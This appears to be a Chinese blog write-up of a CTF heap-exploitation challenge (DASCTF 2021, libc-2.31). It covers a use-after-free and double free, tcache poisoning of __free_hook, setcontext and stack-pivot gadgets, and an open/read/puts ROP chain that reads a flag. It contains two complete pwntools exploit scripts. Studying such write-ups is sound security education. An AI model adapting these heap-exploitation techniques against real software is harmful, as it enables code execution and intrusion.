限制堆块数量10、申请大小0x100、uaf
程序非要在root下运行
但root下各种不顺,环境问题居然是最吃时间最ex的问题
非要在root下打十分影响gdb调试
在网上查了大半天都没能真正解决问题,越来越气急败坏
最后在一位大佬的博客里找到了另一种绕过root的方式:
就是把JZ指令改为JNZ,从而改变程序的跳转
2021DASCTF_Mar_pwn_wp | R1nd0's Blog
终于成了
程序把execve函数给禁了
但由于system函数实际上也是借由 execve实现的,也就相当于把system也给禁了
攻击思路:
首先利用uaf进行 double free,构造堆块重叠从而泄露堆地址和 libc地址
之后通过 tcachebin向free_hook中写入gadget,使得在 free 时可以通过 free_hook中布置的gadgets劫持程序执行流程到我们可控的地址
最后在可控的地址部署 ORW的 ROP chains,执行 free,输出 flag
难点就在于寻找合适的 gadgets 来劫持控制流
Gadget+setcontext
for i in range(10):
add(i, 'a')
for i in range(7):
delete(6-i)
delete(8)
delete(7) #chunk7、8合并进入unsorted
add(0,'1') #申请出290
delete(8) #将合并状态下的一部分chunk(由于未清空chunk8的指针)放入tcache,造成堆块重叠
add(0,'1') #再次申请可泄露heap地址
delete(8)
show(0)
for i in range(1,9): #1-8
add(i,'a')
show(0)
delete(3) #4c0
delete(1) #b10
edit_name(0,p64(heap_addr+0x380)[:-1])
将指针改到390处,从tcache中申请两次就会得到390处的一个chunk
同时因为堆块重叠可以通过修改chunk9来修改chunk2的内容
add(8,'b') #b10
#0\1\8\9
add(9,'c')
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)
edit_description(9,pl) #390 change 3b0
delete(7) #8f0
delete(8) #b10
edit_name(0,p64(free_hook)[:-1])
add(8,'d') #b20
add(7,p64(gadget)[:-1])
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts_addr)
edit_description(4,pl)
edit_name(0,'/flag\x00\x00')
第一个方法有点复杂,用着也不方便
不考虑再重新过一遍了...
exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
import inspect
from sys import argv
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn2'
debug = 0
if debug:
p = remote('39.99.242.16',10002)
else:
p = process(name)
#libcso = '/lib/x86_64-linux-gnu/libc.so.6'
libcso = './libc-2.31.so'
libc = ELF(libcso)
context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def menu(choice):
p.recvuntil(">> ")
p.sendline(str(choice))
def add(idx,name):
menu(1)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline('1')
#p.sendline(str(sex))
p.recvuntil("Please input your child's name:\n")
p.send(name)
def edit_name(idx, name):
menu(2)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's new name:\n")
p.send(name)
def show(idx):
menu(3)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
def delete(idx):
menu(4)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
def edit_description(idx ,desc):
menu(5)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's description:\n")
p.send(desc)
def change_gender(idx,gen):
menu(666)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline(str(sex))
print('==========================================================================')
for i in range(10):
add(i, 'a')
for i in range(7):
delete(6-i)
delete(8)
delete(7) #merge a00 to unsorted
add(0,'1') #290
delete(8) #b20 to tcache
add(0,'b') #b20
delete(8) ##b20 to tcache
show(0)
ru("nder: ")
heap_addr = uu64(r(6))-0x10
#heap_addr = u64(p.recvuntil('\x56'or'\x55')[-6:].ljust(8,b'\x00'))
for i in range(1,9): #3a0-a00
add(i,'a')
#malloc 8 chunk to clean tcache
show(0)
base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']-0x1000
li('heap_addr = '+hex(heap_addr))
li('libc_base = '+hex(base))
print('==========================================================================')
open_addr = base + 0x10DCE0 #libc.sym['open']
read_addr = base + 0x10DFC0 #libc.sym['read']
puts_addr = base + 0x84420 #libc.sym['puts']
gadget= base + 576 + 0x151750 #libc.sym['getkeyserv_handle']
'''
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
'''
li('gadget = '+hex(gadget))
free_hook = base + 0x1EEE48 #libc.sym['__free_hook']
setcontext = base + 0x54F5D #libc.sym['setcontext'] + 61
p_rdi_r = base + libc.search(asm('pop rdi;ret;')).__next__()
#p_rdi_r = base + 0x26b72
p_rsi_r = base + libc.search(asm('pop rsi;ret;')).__next__()
p_rdx_r12_r = base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
p_rdx_r12_ret = libc_base + 0x11c371
leak('p_rdx_r12_r = '+hex(p_rdx_r12_r))
leak('p_rdx_r12_ret = '+hex(p_rdx_r12_ret))
li('free_hook = '+hex(free_hook))
li('setcontext = '+hex(setcontext))
print('==========================================================================')
add(9,'d') #b10
delete(3) #4c0
delete(1) #b10
#0\1\9
edit_name(0,p64(heap_addr+0x380+0x10)[:-1])
add(8,'b') #b10
#0\1\8\9
add(9,'c')
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18)
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)
edit_description(9,pl) #390 change 3a0
print('==========================================================================')
delete(7) #8f0
delete(8) #b10
edit_name(0,p64(free_hook)[:-1])
add(8,'d') #b20
add(7,p64(gadget)[:-1])
print('==========================================================================')
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts_addr)
edit_description(4,pl)
edit_name(0,'/flag\x00\x00')
dbg()
delete(2)
p.interactive()
gadget+栈迁移
for i in range(8):
add(i,'aaaa\n')
delete(6)
menu(666)
p.recvuntil("Please input index?\n")
p.sendline('6')
heap_addr = u64((ru('\x0a')[-6:]).ljust(8,b'\x00'))
li('heap_addr = '+hex(heap_addr))
p.recvuntil("2.Girl:\n")
p.sendline('2')
delete(6) # double free
add(6,'aa')
add(8,'aa')
for i in range(6):
delete(i)
delete(7)
delete(6)
show(8)
libc_base = uu64(ru('\x2c\x20')[-6:])
li('libc_base = '+hex(libc_base))
通过double free实现chunk6和chunk8的堆块重叠
将chunk6送入unsortedbin中去后,show(8)即可获得libc地址
for i in range(6):
add(i,'a')
add(7,'a') #290
add(6,'a') #8f0
delete(7)
delete(6)
将tcache清空,再将chunk6回收
然后先后free掉chunk7、6,再向chunk8中写入free_hook
申请掉chunk7后再申请就能够向free_hook写入gadget
即劫持 free_hook 为 libc 的 gadget 栈迁移到堆上的 ropchain
gadget = libc_base + 0x154DD0 + 26
li('gadget = '+hex(gadget))
"""
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
"""
#这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp(free的chunk)的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移
leave_ret 跳转到 rbp 执行 ropchain ,所以 rbp 是 &(ropchain)-8 。gadget 跳转到 ropchain 的部署:
部分具体操作:
向free_hook中写入gadget
add(7,'a') #290
add(6,'a') #8f0
delete(7)
delete(6)
edit_name(8,p64(free_hook)[:-1])
add(6,'a') #8f0
add(7,p64(gadget)[:-1])
pl = b'/flag\x00\x00\x00'
pl = pl.ljust(0x38,b'a')
pl += p64(stack_addr) #910
pl += p64(leave_ret) #rbp --> &(ropchain) - 8
edit_description(0,pl)
ROP chain:
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28) # rax处
#rax+0x28 = leave_ret
payload+=p64(0xdeadbeefdeadbeef)
#open
payload+=p64(pop_rdi_ret)+p64(heap_addr + 0xa10) #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)
#read
payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)
#puts
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(puts_addr)
'''
pl = p64(ret) + p64(add_rsp_0x18_r)*2
pl+= p64(heap_addr + 0xa10+0x18) # rax
pl+= b'\x00'*0x8
# open(heap_addr+0x0a10'/flag',0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x0a10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read(4,heap_addr+0x3d0,0x30,0x30)
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_ret)+p64(0x30)*2+p64(read_addr)
# puts(heap_addr+0x3d0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts_addr)
'''
edit_description(6,payload)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28)
rax处
下面就是rax+0x28 = leave_ret
exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
import inspect
from sys import argv
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn2'
debug = 0
if debug:
p = remote('39.99.242.16',10002)
else:
p = process(name)
#libcso = '/lib/x86_64-linux-gnu/libc.so.6'
libcso = './libc-2.31.so'
libc = ELF(libcso)
context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
def menu(choice):
p.recvuntil(">> ")
p.sendline(str(choice))
def add(idx,name):
menu(1)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline('1')
#p.sendline(str(sex))
p.recvuntil("Please input your child's name:\n")
p.send(name)
def edit_name(idx, name):
menu(2)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's new name:\n")
p.send(name)
def show(idx):
menu(3)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
def delete(idx):
menu(4)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
def edit_description(idx ,desc):
menu(5)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("Please input your child's description:\n")
p.send(desc)
def change_gender(idx,sex):
menu(666)
p.recvuntil("Please input index?\n")
p.sendline(str(idx))
p.recvuntil("2.Girl:\n")
p.sendline(str(sex))
print('==========================================================================')
for i in range(8):
add(i,'aaaa\n')
delete(6)
menu(666)
p.recvuntil("Please input index?\n")
p.sendline('6')
heap_addr = u64((ru('\x0a')[-6:]).ljust(8,b'\x00')) #- 0x10
p.recvuntil("2.Girl:\n")
p.sendline('2')
delete(6) # double free
add(6,'aa')
add(8,'aa')
for i in range(6):
delete(i)
delete(7)
delete(6)
show(8)
libc_base = uu64(ru('\x2c\x20')[-6:])-96-0x10-0x1ECB70
li('heap_addr = '+hex(heap_addr))
li('libc_base = '+hex(libc_base))
print('==========================================================================')
gadget = libc_base + 0x154DD0 + 26
li('gadget = '+hex(gadget))
"""
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
"""
stack_addr = heap_addr + 0x900 #chunk6/8+0x10
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
li('leave_ret = '+hex(leave_ret))
add_rsp_0x18_ret = libc_base + 0x3794a
li('add_rsp_0x18_ret = '+hex(add_rsp_0x18_ret))
ret = libc_base + 0x25679
li('ret = '+hex(ret))
pop_rax_ret = libc_base + libc.search(asm('pop rax;ret;')).__next__()
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
#pop_rdx_r12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
pop_rdx_r12_ret = libc_base + 0x11c1e1
li('pop_rdx_r12_ret = '+hex(pop_rdx_r12_ret))
#li('p_rdx_r12_ret = '+hex(p_rdx_r12_ret))
open_addr = libc_base + 0x10DCE0 #libc.sym['open']
read_addr = libc_base + 0x10DFC0 #libc.sym['read']
#puts_addr = libc_base + libc.sym['puts']
puts_addr = libc_base + 0x84420
li('puts_addr = '+hex(puts_addr))
free_hook = libc_base + 0x1EEE48 #libc.sym['__free_hook']
li('free_hook = '+hex(free_hook))
print('==========================================================================')
for i in range(6):
add(i,'a')
add(7,'a') #290
add(6,'a') #8f0
delete(7)
delete(6)
edit_name(8,p64(free_hook)[:-1])
add(6,'a') #8f0
add(7,p64(gadget)[:-1])
pl = b'/flag\x00\x00\x00'
pl = pl.ljust(0x38,b'a')
pl += p64(stack_addr) #910
pl += p64(leave_ret) #rbp --> &(ropchain) - 8
edit_description(0,pl)
dbg()
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr+0xa28) # rax ; rax+0x28 = leave_ret
payload+=p64(0xdeadbeefdeadbeef)
#open
payload+=p64(pop_rdi_ret)+p64(heap_addr + 0xa10) #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)
#
payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)
#
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(heap_addr+0x400)
payload+=p64(puts_addr)
'''
pl = p64(ret) + p64(add_rsp_0x18_r)*2
pl+= p64(heap_addr + 0xa10+0x18) # rax
pl+= b'\x00'*0x8
# open(heap_addr+0x0a10'/flag',0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x0a10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read(4,heap_addr+0x3d0,0x30,0x30)
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_ret)+p64(0x30)*2+p64(read_addr)
# puts(heap_addr+0x3d0)
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts_addr)
'''
edit_description(6,payload)
#dbg()
delete(0)
p.interactive()
标签:addr,libc,寻找,ret,gadgets,heap,pl,p64
From: https://www.cnblogs.com/shuzM/p/17082187.html